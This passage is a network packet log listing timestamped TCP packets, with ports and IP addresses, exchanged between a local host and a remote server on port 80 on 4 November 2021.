Nov 4, 2021 13:12:39.121252060 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121279955 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121303082 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121428967 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121447086 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121462107 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121470928 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121484995 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121510029 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121603966 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121622086 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121637106 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121650934 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121661901 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121680975 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121773958 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121792078 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121808052 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121823072 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121831894 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121840000 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121855974 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121862888 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121890068 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121912003 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.121963978 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121982098 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.121998072 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122013092 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122025013 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122030020 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122045994 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122061014 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122082949 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122096062 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122112036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122128010 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122143030 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122152090 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122159004 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122174978 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122179031 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122191906 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122205973 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122232914 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122313023 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122329950 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122347116 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122363091 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122363091 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122387886 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122395992 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122402906 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122421026 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122425079 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122442007 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122442961 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122457027 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122473001 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122473001 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122489929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122490883 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122505903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122522116 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122524977 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122538090 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122555017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122558117 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122570992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122575998 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122587919 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122605085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122613907 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122621059 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122628927 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122637033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122653008 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122658014 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122669935 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122684956 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122689962 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122700930 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122705936 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122716904 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122733116 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122735023 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122749090 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122764111 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122766972 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122780085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122783899 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122796059 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122812986 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122816086 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122828960 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122843981 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122848034 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122859955 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122860909 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122875929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122891903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122893095 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122906923 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122921944 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122921944 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122937918 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122945070 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122952938 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122970104 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122975111 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.122984886 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.122992039 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123002052 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123016119 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123019934 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123032093 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123047113 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123051882 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123061895 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123071909 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123078108 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123095036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123100042 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123110056 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123126030 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123128891 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123141050 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123147964 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123157978 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123172998 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123177052 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123188019 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123203993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123204947 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123219013 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123224020 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123234987 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123250008 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123254061 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123265028 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123280048 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123284101 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123296022 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123303890 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123311043 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123327017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123334885 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123342991 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123358965 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123361111 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123374939 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123390913 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123390913 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123405933 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123415947 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123421907 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123436928 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123439074 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123452902 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123456955 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123469114 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123485088 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123501062 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123509884 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123516083 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123516083 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123531103 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123538017 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123555899 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123565912 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123570919 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123586893 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123593092 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123604059 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123619080 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123625040 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123636007 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123642921 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123651981 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123667955 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123671055 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123686075 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123701096 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123703003 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123717070 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123719931 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123733044 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123749018 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123749971 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123764992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123780012 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123789072 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123805046 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123809099 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123825073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123827934 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123842001 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123850107 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123858929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123867035 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123874903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123887062 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123892069 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123907089 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123914003 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123923063 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123939037 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123941898 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123955011 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123970985 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123972893 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.123986959 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.123991013 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124002934 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124020100 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124037027 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124053955 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124069929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124073029 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124079943 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124083042 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124087095 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124104023 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124119997 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124135971 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124152899 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124154091 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124160051 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124164104 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124167919 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124169111 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124183893 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124201059 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124200106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124217033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124228954 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124233007 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124254942 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124262094 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124279022 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124294043 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124310970 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124310970 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124317884 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124329090 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124345064 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124347925 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124361038 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124363899 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124376059 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124392033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124407053 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124422073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124438047 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124454021 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124456882 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124459982 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124461889 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124484062 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124486923 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124495983 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124512911 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124520063 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124527931 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124543905 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124561071 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124577045 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124578953 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124587059 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124593973 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124596119 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124609947 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124625921 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124640942 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124660969 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124665976 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124670029 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124686003 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124702930 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.124732018 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124736071 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124738932 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.124747992 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.126568079 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126718044 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126734972 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126749992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126766920 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126782894 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126785994 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.126799107 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126815081 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126825094 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.126852989 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.126924992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126943111 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126957893 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126965046 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.126974106 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.126991034 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127005100 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127007008 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127023935 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127024889 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127039909 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127042055 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127055883 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127072096 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127073050 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127098083 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127104998 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127113104 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127129078 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127136946 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127146006 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127162933 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127166033 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127178907 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127181053 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127194881 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127211094 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127217054 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127238989 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127254963 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127265930 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127279043 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127295017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127299070 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127310038 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127326965 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127330065 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127341986 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127357006 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127358913 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127372980 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127374887 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127389908 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127408981 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.127429008 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.127448082 CET	49754	80	192.168.2.3	104.21.92.165
